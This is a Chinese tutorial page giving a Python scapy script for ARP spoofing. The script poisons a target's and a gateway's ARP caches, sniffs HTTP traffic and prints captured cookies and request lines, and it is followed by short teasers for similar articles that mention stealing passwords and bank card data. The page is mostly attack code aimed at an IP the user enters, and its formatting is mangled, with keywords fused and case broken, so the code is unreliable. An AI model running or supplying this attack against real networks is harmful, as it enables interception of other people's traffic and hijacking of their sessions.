用python實現arp欺騙,詳細步驟及思路:
# 1. 從命令列獲取要欺騙的ip
# 2. 獲取ip對應的mac位址
# 3. 定義mac獲取函式get_mac()
# 4. 啟動arp欺騙
# 5. 定義arp欺騙函式
# 6. 嗅探資料報
# 7. 定義cookie嗅探函式
# 8. 恢復靶機arp快取
# 9. 定義arp快取恢復函式
from scapy.
allimport
*import time
from threading import thread
defmain
(target_ip, gateway_ip)
: conf.verb =
0# 2. 獲取ip對應的mac位址
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
# 4. 啟動arp欺騙
t = thread(target=poison_target, args=
(target_ip, target_mac, gateway_ip, gateway_mac)
)# 當主線程結束時,子執行緒自動結束
t.setdaemon(
true
) t.start(
)# 6. 嗅探資料報
sniff(
filter
="tcp port 80"
, prn=packet_callback, store=0)
# 8. 恢復靶機arp快取
restore_target(target_ip, target_mac, gateway_ip, gateway_mac)
# 9. 定義arp快取恢復函式
defrestore_target
(target_ip, target_mac, gateway_ip, gateway_mac)
:print
("[*] restoring target..."
)# 恢復靶機的快取
send(arp(op=
2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip, hwdst=
"ff:ff:ff:ff:ff:ff"
), count=5)
# 恢復目標機快取
send(arp(op=
2, psrc=target_ip, hwsrc=target_mac, pdst=gateway_ip, hwdst=
"ff:ff:ff:ff:ff:ff"
), count=5)
# 7. 定義cookie嗅探函式
defpacket_callback
(packet)
:if packet[tcp]
.payload:
cookie_packet =
bytes
(packet[tcp]
.payload)
if b"cookie"
in cookie_packet:
for info in cookie_packet.split(b'\n'):
if b"referer"
in info or b"get /"
in info:
print
(info)
elif b"cookie"
in info:
print
(info,
"\n"
)# 5. 定義arp欺騙函式
defpoison_target
(target_ip, target_mac, gateway_ip, gateway_mac)
:# 欺騙靶機
target = arp(
) target.op =
2# 2 代表響應包
target.psrc = gateway_ip
target.pdst = target_ip
target.hwdst = target_mac
# 欺騙閘道器
gateway = arp(
) gateway.op =
2 gateway.psrc = target_ip
gateway.pdst = gateway_ip
gateway.hwdst = gateway_mac
print
("[*] beginning the arp poison..."
)while
true
: send(target)
send(gateway)
time.sleep(2)
# 3. 定義mac獲取函式get_mac()
defget_mac
(ip)
: response, unanswered = srp(ether(dst=
"ff:ff:ff:ff:ff:ff"
)/ arp(pdst=ip)
, timeout=2)
for s, r in response:
return r[arp]
.hwsrc
if __name__ ==
"__main__"
:# 1. 從命令列獲取要欺騙的ip
target_ip =
input
("input target ip: "
) gateway_ip =
input
("input gateway ip: "
) main(target_ip, gateway_ip)
linux下的arp欺騙實現
由於畢業設計的需要,我需要在linux下實現arp欺騙,現在將我的一點心得寫下來,因為本人目前也在學習中,希望大家廣提意見,謝謝!首先安裝libpcap,libnet,libnids,compat db,openssl,如果沒有的話請到 在安裝前要注意一下,因為這個dsniff已經很久沒有更新了,所...
使用arpspoof實現內網ARP欺騙
arp欺騙是一種中間人攻擊,攻擊者通過毒化受害者的arp快取,將閘道器的mac替換成攻擊者的mac,於是攻擊者的主機實際上就充當了受害主機的閘道器,之後攻擊者就可以截獲受害者發出和接到的資料報,從中獲取賬號密碼 銀行卡資訊等。乙個實現arp欺騙的簡單工具是arpspoof 實驗環境 受害者主機 19...
再談利用ARP欺騙實現嗅探
再談利用arp欺騙實現嗅探 設有主機a b c在同乙個區域網中,且閘道器為g。a,c為要監聽的主機,b為我們的機器。目前的大多數工具的實現是欺騙a和與a通訊的主機c對方的mac均為b,這樣就可以監聽它們的通訊。但是實際上大多數情況下,我們感興趣的是a與閘道器g的通訊,而其中又尤其對a發出的一些資訊感...